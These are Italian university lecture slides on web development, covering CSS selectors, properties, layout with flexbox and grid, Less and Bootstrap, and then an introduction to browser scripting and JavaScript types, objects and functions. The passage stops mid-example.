  • e[a~="val"] → un <e> con a="v1 v2 v3 ... val ..." (valori separati da spazi)
  • e[a^="val"] → un <e> con a="valtuttoilresto"
  • e[a$="val"] → un <e> con a="tuttoilrestoval"
  • e[a*="val"] → un <e> con a="qualcosavalqualcosa"
  • e[a|="val"] → un <e> con a="val-v2-v3" (valori separati da "-")

    f[lang|="en"](<p lang="en-US">) = f[lang|="en"](<p lang="en-UK">) = true

Selectors di pseudoclassi strutturali

Pseudoclassi: classi non esplicitamente definite, ma corrispondenti a elementi presenti nell'HTML

  • e:nth-child(n), e:nth-last-child(n) → un <e> n-simo (n-esimo dal basso) figlio del suo parent
  • e:nth-of-type(n), e:nth-last-of-type(n) → un <e> n-simo (n-ultimo) figlio del suo padre tra i figli di tipo <e>
  • e:first-child, e:last-child, e:first-of-type, e:last-of-type
  • e:only-child, e:only-of-type → un <e> figlio unico (senza sibling di tipo e)
  • e:root → un <e> root del documento
  • e:empty → un <e> senza figli, nemmeno testo

nth-child: dettaglio

e:nth-child(n): n può essere un'espressione un po' più complessa:

  • e:nth-child(3) → il terzo figlio
  • e:nth-child(even) = e:nth-child(2n) → figli pari
  • e:nth-child(odd) = e:nth-child(2n+1) → figli dispari
  • e:nth-child(5n+2) → il 2°, 7°, 12°, ... figlio

Selectors di altre pseudoclassi

  • e:visited, e:link → un <e> che è un'ancora ad un documento visitato (non visitato)
  • e:active, e:hover, e:focus → un <e> in certi stati relativi all'interazione con l'utente
  • e:enabled, e:disabled, e:checked → un <e> che fa parte della UI che si trova in certi stati
  • e:lang(en) → un <e> con contenuto in lingua inglese
  • e:target → un <e> che è stato selezionato con un anchor (URL#anchor)

    http://units.it/bandi.html#scaduti → <section id="scaduti"> è :target

Selectors di pseudoelementi

Pseudoelementi: elementi non esplicitamente definiti, quindi generati

  • e::first-line → un elemento fittizio contenente la prima linea di testo di un <e>
  • e::first-letter → un elemento fittizio contenente la prima lettera di un <e>
  • e::before, e::after → un elemento fittizio che precede (succede) un <e> suo sibling
    • molto utile se si usa la property content

Pseudoelementi: esempio

<p>Nel mezzo di cammin di nostra vita</p>

<p><span::first-letter>N</span>el mezzo di cammin di nostra vita</p>

Selector di negazione

  • e:not(selector) → un <e> a cui non si applica il selector (solo selectors non combinati, div > div non va bene).

    p:not(:first-child) → tutti i p che non siano i primi figli del loro parent

Selector di parentela

:has()

The :has() CSS pseudo-class represents an element if any of the selectors passed as parameters match at least one element.

  • e:has(selector) → un <e> che sia parent di un elemento a cui si applica il selector
  • si può concatenare: e:has(f):has(g) oppure e:has(f, g)

Il supporto è limitato a alcuni browser

Selector e Specificità

Ricordate? È uno degli elementi per risolvere l'ereditarietà.

Si genera un "numero" composto da tre cifre, ottenute contando nel selettore:

  • attributi ID
  • altri attributi o pseudo-classi
  • nomi di elementi
  • si ignorano gli pseudo-elementi

Più grande il numero, più grande la specificità.

Ottimo esempio basato su Star Wars.

Selector: esempio

tr:nth-child(even) {
  background-color: #8be9fd; /* vedremo... */
}
1 2 3 4
5 6 7 8
9 10 11 12
13 14 15 16
17 18 19 20

Selector: esempio

p::first-letter {
  font-size: 200%; /* vedremo ... */
  color: #8be9fd;  /* pure questo ... */
}

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc tristique velit eget neque ornare, vitae luctus magna mollis. Donec arcu ligula, tristique et porttitor nec, feugiat et tortor. Suspendisse vel nisi a mauris consectetur hendrerit. Fusce congue leo est, et suscipit massa venenatis vitae. Sed nec molestie nibh. Sed purus tortor, molestie sed justo non, iaculis ultricies orci. Nullam quis quam justo. Nunc finibus aliquet tincidunt. Nunc mattis metus at arcu tristique semper. Vivamus iaculis lacus porttitor, pretium leo tincidunt, euismod nisi. Morbi sodales pharetra ante in congue. Aenean sed erat dui. Aenean eget elementum metus.

Selector: esempio

figure:has(figcaption) img {
    outline: 10px dashed #8be9fd;
}
Con figcaption
Logo del MaLe Lab
Logo del MaLe Lab
Senza figcaption
Logo del MaLe Lab

CSS

CSS properties

Ne vedremo solo alcune...

Una lista completa

Colori

  • color → colore del testo
  • background-color → colore dello sfondo
  • border-color → colore del bordo

Valori:

  • color: red; → per nome (eventualmente "esotico")
  • color: #ff0000; → rgb esadecimale
  • color: rgb(255,0,0), color: rgb(100%,0%,0%) → rgb decimale
  • color: rgba(255,0,0,0.33), color: rgba(100%,0%,0%,0.33) → rgb decimale con canale alpha
  • color: transparent; → trasparente

Immagine di sfondo

  • background-color → colore dello sfondo
  • background-image → immagine di sfondo
  • background-repeat → come ripetere l'immagine
  • background-attachement → come muovere l'immagine in caso di scrolling
  • background-position → dove mettere l'immagine
  • oppure backgroundtutto insieme (c.d. Shorthand)

Esempio:

body {
  background-image: url('img_tree.png');
  background-repeat: no-repeat;
  background-position: right top;
}

Font

  • font-family → quale font
  • font-size → dimensione
  • font-weight → peso (più o meno "grosso")
  • font-variant → variante (normale, maiuscoletto)
  • font-style → stile (normale, italico, obliquo)
  • oppure fonttutto insieme

Esempio:

h1 {
  font-family: Helvetica, Verdana, sans-serif;
  font-weight: bold;
  font-size: x-large;
}

font-family: Helvetica, Verdana, sans-serif → viene scelto il primo disponibile

font-family e @font-face

L'autore vuole usare un font specifico, ma non si sa se l'utente ce l'ha:
font-family: "Font Fighetto di Design", sans-serif;

@font-face definisce un font

@font-face {
  font-family: 'Ubuntu';
  src: local('Ubuntu'),
       local('Ubuntu-Regular'),
       url('http://themes.googleusercontent.com/font?kit=2Q-AW1e_taO6pHwMXcXW5w') format('truetype');
}

h1 { font: "Ubuntu" 10px;}

@font-face è una at-rule

Google Web Font

font-size

font-size: absolute-size | relative-size | length | percentage | inherit

Esempi:

font-size: medium;
font-size: large;
font-size: 115%;
font-size: larger;
font-size: 10px;
font-size: 0.75cm;

Unità di misura nei CSS

Alcune proprietà accettano un valore di tipo length

Unità di misura assolute:

in → inches; 1 inch is equal to 2.54 centimeters
cm → centimeters
mm → millimeters
pt → points; 1pt is equal to 1/72 inch
pc → picas; 1 pica is equal to 12 points

Come fa il browser a sapere quanti pixel fanno un cm?

Unità di misura nei CSS

Unità di misura relative:

em → the font size of the element (or, to the parent element's font size if set on the 'font-size' property)
ex → the x-height of the element's font
px → viewing device
gd → the grid defined by 'layout-grid' described in the CSS3 Text module
rem → the font size of the root element
vw → the viewport's width
vh → the viewport's height
vm → the viewport's height or width, whichever is smaller of the two
ch → The width of the "0" glyph found in the font for the font size used to render

Testo

  • line-height
  • letter-spacing
  • text-align
  • text-decoration
  • text-indent
  • text-transform
  • vertical-align

Esempio (di più):

.draft span.note {
  text-transform: uppercase;
}
.draft span.old-version {
  text-decoration: overline;
}

Contatori

Si comportano come variabili

  • definiti con la property counter-reset: nomeContatore;
  • incrementati usando la property counter-increment: nomeContatore;
  • Usabili nelle property content

Esempio:

body {
  counter-reset: contaSezione;
}
h2::before {
  counter-increment: contaSezione;
  content: "Sezione " counter(contaSezione) ": ";
}

CSS

CSS Layout

Fonte

Ricordate?

DOM tree e boxes
Semplificazione del passaggio HTML → boxes

Display

Definisce come verrà realizzato il box

  • inner display type → che contesto di formattazione crea, e come i suoi descendant saranno posizionati
  • outer display type → come il box partecipa alla formattazione del suo parent

Outer Display Type

Ci sono tre valori possibili

  • block
  • inline
  • run-in → fa il merge con il blocco che lo segue, inserendosi al suo inizio (Es: definizione nel dizionario).

Inner Display Type

Varie opzioni:

  • flow → dipende dall'Outer Display Type:
    • inline o run-in: genera una inline box
    • block: genera un blocco
  • flow-root → crea sempre un contenitore di tipo Block
  • ... e molti altri (table, flex, grid, ruby)

Proprietà display

Riassume in un unico valore come impostare Inner/Outer Display Type

In sintesi, determina il tipo di box che verrà generato

  • display: inline → inline flow → inline-level box
  • display: block → block flow → block-level box
  • display: nonenon genera box
  • display: inline-block → inline flow-root → vedremo poi
  • display: flex → block flex → vedremo poi
  • molti altri

display influisce pesantemente sulla rappresentazione di un documento!

Nascondere un box

  • visibility: visible → disegna
  • visibility: hidden → non disegnare

Attenzione:

  • visibility: hidden → il box occupa lo spazio previsto ma non si vede
  • display: none → il box non c'è

Dimensioni

Si usano width e height:

  • non si applicano agli inline-level box (in prima approssimazione)
  • ... e se le dimensioni impostate superano le dimensioni della finestra?
    • appaiono le barre di scorrimento → brutto!
    • usiamo max-width

Dimensioni

Basta sapere width e height per calcolare lo spazio occupato?

NO!

Fanno riferimento al contenuto, occorre conoscere margin e padding

Margin e padding

Dimensioni

Ma posso imbrogliare:

box-sizing: border-box; → padding e bordi rientrano nella misura

Margin e padding

Hint: valutate se inserirlo in un blocco * { }

Posizioni

Come posso spostare il box?

Proprietà position:

  • static → default, segue il normale flusso; non è affetto da top/bottom/right/left e formalmente non è posizionato
  • relative → vanno usate proprietà extra (top, right, bottom o left)
    • relative to itself
    • gli altri contenuti non si infileranno negli spazi lasciati liberi
    • Es: position: relative; top: -20px; left: 20px; fa sovrapporre il secondo blocco al primo
      Primo blocco
      Secondo blocco

Posizioni

Come posso spostare il box?

Proprietà position:

  • fixed → posizionato in base alla finestra del browser
    • gestito con top, right, bottom o left
    • lo spazio liberato viene riciclato
    • gestione traballante nei dispositivi mobile
  • absolute → si comporta come fixed ma riferito al più vicino elemento di livello superiore posizionato
    • Altrimenti, fa riferimento a <HTML>

Posizioni

Esempio:

nav {
  position: absolute;
  left: 0px;
  width: 200px;
}
section {
  /* position is static by default */
  margin-left: 200px;
}
footer {
  position: fixed;
  bottom: 0;
  left: 0;
  height: 70px;
  background-color: white;
  width: 100%;
}          
Testo section 1, anche molto lungo.
Testo section 2, anche molto lungo.

Floating box

Un floating box viene spostato nella linea a destra o a sinistra finché non sbatte contro il bordo del suo parent box

Il resto del contenuto scorre a fianco; i line box vengono accorciati

  • float: left, float: right → è float
  • float: none → non è float (default)

Es: style="float: left; width: 200px;height: 100px;margin: 1em;"

Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Galleggio!
Phasellus imperdiet, nulla et dictum interdum, nisi lorem egestas odio, vitae scelerisque enim ligula venenatis dolor. Maecenas nisl est, ultrices nec congue eget, auctor vitae massa. Fusce luctus vestibulum augue ut aliquet. Mauris ante ligula, facilisis sed ornare eu, lobortis in odio. Praesent convallis urna a lacus interdum ut hendrerit risus congue. Nunc sagittis dictum nisi, sed ullamcorper ipsum dignissim ac. In at libero sed nunc venenatis imperdiet sed ornare turpis. Donec vitae dui eget tellus gravida venenatis. Integer fringilla congue eros non fermentum. Sed dapibus pulvinar nibh tempor porta. Cras ac leo purus. Mauris quis diam velit.

Floating box

Un floating box può essere più alto del contaning box; anche le righe del successivo block-level box vengono accorciate se necessario... come evitarlo?

  • Soluzione 1: lo impedisco con clear
    • clear: left, clear: right, clear: both → non affiancare a floating box a sinistra e/o destra
    • clear: none → permetti di affiancare
  • Soluzione 2: estendo il box con un clearfix
    .clearfix {
      overflow: auto;
      zoom: 1; /* per IE6 */
    }              

float e clear: esempio

p {clear: left;}
img {float: left;}
            
Float e clear
Esempio di float e clear

In che punto del documento HTML è inserita l'immagine?

Inline-block box

Voglio creare una griglia di box che riempia tutta la larghezza del browser: posso farlo con

  • float: left → scomodo, devo applicare clear al blocco successivo
  • display: inline-block (qualche problema con IE6 e IE7)
Sono un blocco in-line!
Sono un blocco in-line!
Sono un blocco in-line!
Sono un blocco in-line!
Sono un blocco in-line!

Ed io non necessito di alcuna pulizia!

Incolonnare

column mi permette di incolonnare il testo

.three-column {
  padding: 1em;
  column-count: 3;
  column-gap: 1em;
}          
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus imperdiet, nulla et dictum interdum, nisi lorem egestas odio, vitae scelerisque enim ligula venenatis dolor. Maecenas nisl est, ultrices nec congue eget, auctor vitae massa. Fusce luctus vestibulum augue ut aliquet. Mauris ante ligula, facilisis sed ornare eu, lobortis in odio. Praesent convallis urna a lacus interdum ut hendrerit risus congue. Nunc sagittis dictum nisi, sed ullamcorper ipsum dignissim ac. In at libero sed nunc venenatis imperdiet sed ornare turpis. Donec vitae dui eget tellus gravida venenatis. Integer fringilla congue eros non fermentum. Sed dapibus pulvinar nibh tempor porta. Cras ac leo purus. Mauris quis diam velit.

FlexBox

display: flex; arriva con CSS3 → non tutti i browser si comportano bene

Ha svariate proprietà, raggruppabili per applicabilità:

  • parent (container)
  • children (flex items)
container items

Vi lascio una guida visuale

FlexBox - Container

  • flex-direction: row | row-reverse | column | column-reverse

    flex-direction2

FlexBox - Container

  • flex-direction: row | row-reverse | column | column-reverse
  • flex-wrap: nowrap (default) | wrap | wrap-reverse (bottom-top)

FlexBox - Container

  • flex-direction: row | row-reverse | column | column-reverse
  • flex-wrap: nowrap (default) | wrap | wrap-reverse (bottom-top)
  • justify-content: flex-start | flex-end | center | space-between | space-around | space-evenly

    flex-start flex-end center space-between space-around

FlexBox - Container

  • flex-direction: row | row-reverse | column | column-reverse
  • flex-wrap: nowrap (default) | wrap | wrap-reverse (bottom-top)
  • justify-content: flex-start | flex-end | center | space-between | space-around | space-evenly
  • align-items: flex-start | flex-end | center | baseline | stretch (allinea una riga del flex)
  • align-content: flex-start | flex-end | center | space-between | space-around | stretch (allinea multi righe)

FlexBox - Children

  • order: <integer> → riordina il contenuto
  • flex: <integer> → come spartirsi lo spazio
    box con flex = 1
    box con flex = 2
  • align-self: sovrascrive quello del container

Responsive Web Design

Banalmente: facciamo in modo che il nostro sito funzioni bene su ogni dispositivo.

  • ridisponendo il contenuto
  • magari usando solo HTML e CSS
  • non serve necessariamente JavaScript
  • spesso disegnati immaginando una griglia di 12 colonne

ViewPort

La ViewPort è l'area della pagina visibile all'utente.

I browser di smartphone & tablet rimpiccioliscono in automatico la pagina per farla stare nello schermo: evitiamo

<meta name="viewport" content="width=device-width, initial-scale=1.0">

SENZA ViewPort particolari Con le opzioni HTML5 per la ViewPort

Differenziazione per tipo di media

Si può fare in modo che alcune regole siano applicate solo a certi media (o media con certe caratteristiche):

  • usando link:
    <link ... media="screen" href="css1.css">
    <link ... media="print,tty" href="css2.css">
  • usando @media:
    @media print {
      /* style sheet for print goes here */
    }

Alcuni media: screen, print, handheld, braille, speech, tty, ...

Grid Layout

Vogliamo un layout di questo tipo:

Diversi layout che mostrano la necessità del grid layout

Come posso passare tra i tre layout o fare il terzo?

Slides ispirate dalla presentazione di Morten Rand-Hendriksen

Grid Layout

Terminologia

  • Grid container: l'elemento che contiene una grid, si imposta display: grid;
  • Grid item: descendant del grid container
  • Grid line: linea orizzontale o verticale che delimita la griglia
    • sono numerate (doppia numerazione: 1...N e -N...-1) Diversi layout che mostrano la necessità del grid layout

Grid Layout

Terminologia

  • Grid container: l'elemento che contiene una grid, si imposta display: grid;
  • Grid item: descendant del grid container
  • Grid line: linea orizzontale o verticale che delimita la griglia
    • sono numerate (doppia numerazione: 1...N e -N...-1)
  • Grid cell: come la cella di una tabella
  • Grid area: area rettangolare tra quattro lines → una o più celle
  • Grid track: spazio tra due lines adiacenti (righe e colonne)
  • Grid gap: spazio vuoto tra due tracks

Grid Layout

Come si usa?

  1. Definire una griglia
  2. Posizionare gli elementi nella griglia

That's it!

Grid Layout

Definire la griglia:

  • display: grid;
  • grid-template-columns e grid-template-rows: disegnano le righe; ricevono una lista di valori che identificano le distanze tra le righe.

    Unità di misura: em, px, %, fr (frazioni), auto (si adatta al contenuto).

main{
  display: grid;
  grid-template-columns: 2fr 1fr 1fr;
}
          

Finito! I grid items si dispongono all'interno (top-bottom, left-right).

Grid Layout

Prendere più celle

  • grid-column: x/y; → dalla riga verticale X alla Y
  • grid-row: x/y; → dalla riga orizzontale X alla Y

Problema: è difficile lavorare con i numeri, si può fare confusione (anche se in realtà potrei dare dei nomi alle linee)

Grid Templates

Uso delle descrizioni testuali per dare dei nomi alle celle del grid container...

main{
  display: grid;
  grid-template-columns: 2fr 1fr 1fr;
  grid-template-rows: 1fr 1fr 1fr;
  grid-template-areas:
    "titolo titolo titolo"
    "principale testata testata"
    "principale laterale laterale";
}

...e nei grid item specifico il nome

h1{
  grid-area: titolo;
}

Grid Templates

E la magia avviene con le media query...

@media screen and (max-width: 700px) {
  main {
     grid-template-areas:
       "titolo titolo titolo"
       "testata testata testata"
       "principale principale laterale";
  }
}

Grid Layout

Alcuni dettagli:

  • le griglie si possono annidiare senza problemi;
  • buon supporto nei diversi browsers
  • ...se avete paura, esiste @supports (grid-area: auto){...}

Grid Layout

Operativamente:

  1. disegnate per i cellulari (e funge da fall-back)
  2. estendere con grid-templates per le altre risoluzioni

Alcuni riferimenti utili:

CSS

CSS nei vari browser

FlexBox

Ma funziona sempre?

NO!

  • CSS3 è ancora in scrittura
  • diverse modifiche nel tempo
  • il nome stesso della property cambia

E non solo lui, il problema si applica anche ad altro (es: column)

Soluzione: prefissi

Prefissi

Per specifica, le property non inizieranno mai con

  • "-"
  • "_"

.foo {
  display: -webkit-box;
  display: -moz-box;
  display: -ms-flexbox;
  display: -webkit-flex;
  display: flex;
  -webkit-box-orient: horizontal;
  -moz-box-orient: horizontal;
  -webkit-box-direction: normal;
  -moz-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
}

Strumenti

Ma devo sempre fare tutto a mano?

No! Posso farmi aiutare

  • Strumenti integrati nell'editor (es: Emmet)
  • Strumenti on-line (es: AutoPrefixer)
  • Strumenti usabili off-line (es: Less)
  • Framework che risolva il problema per me (es: Bootstrap)

Bootstrap

Una riga per domarli, e dal buio liberarli...

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/[...]" >

Opzionale: un po' di JavaScript

  • JQuery
  • Popper (popup a lato di elementi)
  • BootstrapJS

Conviene leggerne la guida ufficiale

Less

Strumento di sviluppo per CSS scritto in JavaScript usabile

  • off-line (linea di comando)
  • in codice JS
  • client-side (basse performance, comodo per lo sviluppo)
    <link rel="stylesheet/less" type="text/css" href="styles.less" />
    <script src="less.js" type="text/javascript"></script> 

Less

  • Variabili:
    @rosso: #FF0000;
    a {color: @rosso}

    a {color: #ff0000}

  • Nidificazione:
    div{
     width: 200px;
     p{
      font-size: 20px;}}

    div{ width: 200px;}

    div p{ font-size: 20px;}

Less

  • Mixin (macro):
    .mixin{
       color: red;
       font-weight:bold;
    }
    
    p{
       font-size:18px;
       .mixin;
    }
    

    .mixin{color: red; font-weight:bold;}

    p{font-size: 18px; color: red; font-weight:bold;}

Less

  • Mixin (macro) - esclusi dall'output:
    .mixin(){
       color: red;
       font-weight:bold;
    }
    
    p{
       font-size:18px;
       .mixin;
    }
    

    p{font-size: 18px; color: red; font-weight:bold;}

Less

  • Mixin (macro) - parametrici:
    .mixin(@param){
       color: @param;
       font-weight:bold;
    }
    
    p{
       font-size:18px;
       .mixin(red);
    }
    

Less

  • Funzioni:
    • darken(colore, percentuale)
    • greyscale(colore)
    • ...molte altre

Esercizio CSS-1

Usando il documento HTML dell'esercizio HTML-1, scrivere un CSS che faccia rappresentare il documento come un codice miniato medioevale.

Esempio codice miniato Esempio codice miniato Esempio codice miniato
Esempi di rappresentazione
  • due colonne, bordi larghi
  • la prima lettera del primo testo della prima sezione deve essere enorme (titoli esclusi, il resto del testo circonda la lettera enorme )

Esercizio CSS-1 → dettagli

  • Nessuno/pochi cambiamenti all'HTML
  • Usare i Google Web Fonts
  • Barra di navigazione in alto, allineata a destra
  • Se la risoluzione è inferiore a 800px, gli elementi della barra vanno centrati
  • Se la risoluzione è inferiore a 600px,
    • deve avere una colonna sola
    • la barra di navigazione dev essere su una sola colonna
  • Se stampato, deve avere margine laterale di 3cm

Esercizio CSS-2

Riprendere il documento HTML: il contenuto di ogni section deve essere invisibile di default e diventare visibile in qualche condizione legata alle azioni dell'utente.

Ad esempio:

  • un checkbox per articolo selezionato
  • se si passa sopra all'elemento riferito con la navbar
  • ...

solo HTML e CSS

Esercizio CSS-3

Ancora qualche modifica:

  • Inserire dei contatti con degli indirizzi email e dei link, quindi
    • se il link è di una mail, anteporci il carattere ✉ (\2709)
    • ogni indirizzo appaia per esteso dopo il testo link, tra parentesi
  • Se mostrato a schermo con risoluzione di 600px o più, l'articolo deve essere largo 21 cm, avere sfondo bianco ed apparire in rilievo sopra ad uno sfondo grigetto.
  • Se stampato, deve avere la dimensione di un A5 con un margine laterale di 3cm e creare un nuovo foglio per ogni section@page; qualche aiuto

solo HTML e CSS

Programmazione Web browser-side

Codice compilato (o quasi)

Posso chiedere al browser di eseguire del codice compilato (o di una VM)

  • ActiveX → obsoleto, solo per Windows
  • Flash → obsoleto
  • Java Applet → uso residuale (es: firma elettronica con smart card)
  • WebAssembly → ancora sperimentale

Rappresentare un documento HTML

HyperText Markup Language (HTML)

Linguaggio usato per descrivere il contenuto e la struttura dell'informazione di un documento web

In realtà l'obiettivo di HTML è esplicitamente più ampio:

This specification is limited to providing a semantic-level markup language and associated semantic-level scripting APIs for authoring accessible pages on the Web ranging from static documents to dynamic applications.

Scripting

Scripting web

Esecuzione di codice dell'autore nel contesto del documento web

Codice? → JavaScript

... ma non solo

  • SVG scripting
  • TypeScript
  • GO
  • ...

Contesto

Durante l'esecuzione, il codice può accedere al DOM tree, quindi all'informazione dentro al documento

  • in lettura → ottenere elementi, attributi, ... del DOM tree
  • in scrittura → cambiare attributi, testo, struttura, ... del DOM tree

Ma anche a risorse esterne (la finestra, lo storage, ...)

Accesso in scrittura del DOM

Documento HTML → DOM tree → rappresentazione

Manipolare il DOM implica cambiare la rappresentazione, in tempo reale!

DOM tree e scripting

La specifica descrive anche l'interfaccia dei vari elementi:

DOM interface:

  [NamedConstructor=Image(),
   NamedConstructor=Image(in unsigned long width),
   NamedConstructor=Image(in unsigned long width, in unsigned long height)]
  interface HTMLImageElement : HTMLElement {
             attribute DOMString alt;
             attribute DOMString src;
             attribute DOMString useMap;
             attribute boolean isMap;
             attribute unsigned long width;
             attribute unsigned long height;
    readonly attribute unsigned long naturalWidth;
    readonly attribute unsigned long naturalHeight;
    readonly attribute boolean complete;
  };

È la documentazione dell'interfaccia DOM dell'elemento img

Quando viene eseguito il codice?

Nota:

  • il documento HTML è l'informazione
  • il documento CSS dice come rappresentare l'informazione

→ non hanno un quando...

"Quando" viene eseguito il codice?

Viene eseguito quando viene trovato

Il browser legge (fa il parsing) il documento HTML, quando trova lo script lo esegue

Come si include lo script?

Due metodi principali:

  • embedded nel documento:
    <script type="text/javascript">
      /* fai qualcosa */
    </script>
  • come documento di testo esterno:
    <script type="text/javascript" src="..."></script>

src e inizio dell'esecuzione

Per gli script esterni, si può specificare l'attributo defer:

<script type="text/javascript" src="..." defer></script>

→ l'esecuzione viene ritardata a quando il browser è arrivato in fondo al documento

per gli embedded script, vedere onload

defer o non defer?

Qual è la differenza?

Il codice può accedere al DOM...

HTML letto a metà → DOM completo a metà

Programmazione ad eventi

Handler

Associazione di un pezzo di codice (funzione) ad un evento

c'è un click su questo bottone → fai queste cose

il browser è arrivato in fondo al documento → fai queste cose

L'associazione si può definire:

  • nel documento HTML
    <p onclick="/* pezzo di codice */">click me!</p>
  • nel codice: vedremo

Linguaggio JavaScript

Premessa

Cosa impariamo?

  • JavaScript: come linguaggio e come linguaggio nel web
  • Un'altra istanza del problema "linguaggio di programmazione":
    • come dare istruzioni ad una macchina priva di buon senso?
    • la risposta è data da uomini: può essere imperfetta

Breve storia

  • 1995: inizialmente chiamato Mocha e rilasciato come LiveScript da Netscape
  • 1996: Microsoft ne fa un port in JScript (poco compatibili)
  • 1997: inizia la standardizzazione da parte di Ecma, come ECMAScript
  • 2011: standard ISO (versione 5.1)
  • 2015: ECMAScript 6 (nome ufficiale ECMAScript 2015)
  • 2017: versione 8

Nel frattempo:

  • popolarità sempre crescente
  • utilizzo fuori dal browser sempre più reale

JavaScript engines

Engine = coppia (VM, dialetto)

Ce ne sono tanti:

  • V8 (in Chrome e Node.js)
  • Spidermonkey (Firefox, ...)
  • Nitro/JavaScriptCode in Safari
  • ...

Sofisticati: ad esempio, JIT

JavaScript vs Java

  • Sintassi simile (non uguale), più rilassata
  • Loose typing
  • Le funzioni sono oggetti!
  • Eccezioni "sileziose"
  • Imperfetto, data la sua storia

Sintassi

Non la vediamo nel dettaglio

Alcune peculiarità

  • parole chiave: boolean, break, delete, extends, static, ..., molte non utilizzate
  • punto e virgola: non è necessario, ma raccomandato
  • tolleranza per gli "spazi"

Vedremo, man mano, altro

Tipi

5 tipi di base immutabili:

  • numeri
  • stringhe
  • booleani
  • null
  • undefined

Tutti gli altri valori sono oggetti (mutabili): array, funzioni, regex e oggetti.

Tipi e typeof

typeof x è una stringa che descrive il tipo di x

        typeof 1          // → "number"
        typeof "a"        // → "string"
        typeof true       // → "boolean"
        typeof {a: 1}     // → "object"
        typeof undefined  // → "undefined"
        typeof null       // → ???
        

Tipi e typeof: null

typeof null       // → "object"!!!

Ma perché???

In memoria: 32 bit per valore

  • 3 bit per il tipo (circa)
    • 000 → object [Null: dato = 0x00]
    • 001 → signed int
    • 010 → double
    • 100 → string
    • 110 → boolean
  • resto per il dato

Tipi e typeof: null

typeof null       // → "object"!!!

Decodifica valore (codice originale):

if (JSVAL_IS_UNDEFINED(v)) {
    type = JSTYPE_UNDEFINED;
} else if (JSVAL_IS_OBJECT(v)) {
    obj = JSVAL_TO_OBJECT(v);
    if (obj [..] clasp == js_FunctionClass)) {
        type = JSTYPE_FUNCTION;
    } else {
        type = JSTYPE_OBJECT;
    }
} else if (JSVAL_IS_NUMBER(v)) {
    type = JSTYPE_NUMBER;
} else if (JSVAL_IS_STRING(v)) {
    type = JSTYPE_STRING;
} else if (JSVAL_IS_BOOLEAN(v)) {
    type = JSTYPE_BOOLEAN;
}
return type;
                  

Tipi e typeof

typeof x è una stringa che descrive il tipo di x

        typeof 1          // → "number"
        typeof "a"        // → "string"
        typeof true       // → "boolean"
        typeof {a: 1}     // → "object"
        typeof undefined  // → "undefined"
        typeof null       // → "object"!!!

typeof typeof 44?

C'è una sesta possibilità: vedremo.

Sarebbe stato meglio se typeof null fosse "null".

typeof e sintassi

Sintassi rilassata...

Quali e perché funzionano?

  1. typeof 1?
  2. typeof(1)?
  3. typeof (1)?

typeof e sintassi

Sintassi rilassata...

Quali e perché funzionano?

  1. typeof 1?
  2. typeof(1)?
  3. typeof (1)?

typeof è un operatore, e quanto messo tra parentesi è una espressione da valutare.

Tipi immutabili

Numeri, stringhe e booleani sono object-like: è possibile accedere ai metodi

(22).toExponential()   \\ → "2.2e+1"
"job".charAt(2)        \\ → "b"
true.toLocaleString()  \\ → "true"

ma sono immutabili!

Numeri

C'è un solo tipo di numero: float (IEEE 754 Double Precision)

Ricordate i problemi che comportano?

Numeri

C'è un solo tipo di numero: float (IEEE 754 Double Precision)

  • operazioni con decimali si comportano da float:
    0.1 + 0.2 == 0.3 /* → false*/
  • operazioni con interi sono esatte (sicuri?)
    9999999999999999 == 10000000000000000 /* → true*/

null vs undefined

Un identificatore riferisce:

  • undefined se non gli è stato associato un valore (diverso da undefined)
  • null solo se è stato associato a null

Perché esistono entrambi? C'è un perché?

  • ragioni "storiche" (le eccezioni sono nate dopo)
  • una proprietà che esiste, ma senza valore, si può distinguere da una proprietà che non esiste

Oggetti

Un oggetto è una collezione mutabile di proprietà.

  • Ogni proprietà ha un nome (stringa) ed un valore (qualsiasti tipo)
  • Mutabile:
    • Si possono modificare i valori delle proprietà
    • Si possono aggiungere o rimuovere proprietà

Object literal

Collezione di coppie chiave-valore separate da virgole.

        var simba = {
          name: "simba",
          animalType: "dog",
          legs: 4,
          "sound": "bark",
          collar: {
            material: "leather",
            size: "M"
          }
        };

"animalType", "dog" è una proprietà: "animalType" è il nome (tipo stringa), "dog" è il valore (tipo stringa).

Il valore della proprietà con nome "collar" è di tipo oggetto.

var statement

var simba = {
  name: "simba",
  animalType: "dog",
  legs: 4,
  "sound": "bark"
}
  1. Definisce l'identificatore simba visibile nello scope.
  2. Lo associa al (gli fa riferire il) valore oggetto.

Qual è lo scope? Vedremo.

Accesso ai valori delle proprietà di un oggetto

  1. simba.name
  2. simba["name"]

Entrambe le espressioni accedono alla proprietà name dell'oggetto riferito da simba.

La seconda è necessaria se il nome della proprietà ha certe caratteritiche: es. simba["è bello"].

Se simba riferisce undefined o null, allora TypeError exception.

. e [] sono operatori di refinement

Accesso ai valori delle proprietà: sintassi

Gli spazi vanno a piacere:

  • simba.name
  • simba["name"]
  • simba .name
  • simba. name
  • simba . name
  • simba ["name"]
  • ...

Sono tutti equivalenti e sintatticamente corretti.

Ma stilisticamente no...

Accesso ai valori di un oggetto

  • Lettura proprietà:
    var name = simba.name;
    Se non è definito, vale undefined
  • Aggiunta/modifica proprietà:
    simba.nickname = "Cane bianco";
    Se non è definito, aggiunge, altrimenti modifica.
  • Rimozione proprietà:
    delete simba.nickname;

Riferimenti

Gli oggetti sono passati sempre per riferimento.

var simba = {
  name: "simba",
  collar: {
    material: "leather",
    size: "M"
  }
};
var whitedog = simba;
var c = whitedog.collar;
delete whitedog.collar;

whitedog.collar? undefined

simba.collar? undefined

c? → Object {material: "leather", size: "M"}

Iterazione sulle proprietà: "reflection"

var simba = {
  name: "simba",
  legs: 4
};
for (var propName in simba) {
  console.log("simba."+propName+" = "+simba[propName]+", of type "+(typeof simba[propName]));
}

Funzioni

Una funzione è un oggetto con due proprietà nascoste in più:

  • il codice
  • il contesto

typeof f restituisce "function" se f è una funzione.

Ecco il sesto elemento

Function literal

var sum = function(a, b) {
  var c = a+b;
  return c;
}
sum(2,3); /*→ 5*/

sum riferisce un oggetto funzione, di cui la sequenza dei due statement (linee 2 e 3) è il body.

Function name

var sum = function(a, b) {
  return a+b;
}
sum.name  /* → "" (o il nome della variabile)*/

Funzione anonima, sum riferisce la funzione.

Questa è l'opzione raccomandata.

"Perché" c'è una proprietà name? Chi l'ha messa? Vedremo.

Function name

var sum = function summation(a, b) {
  return a+b;
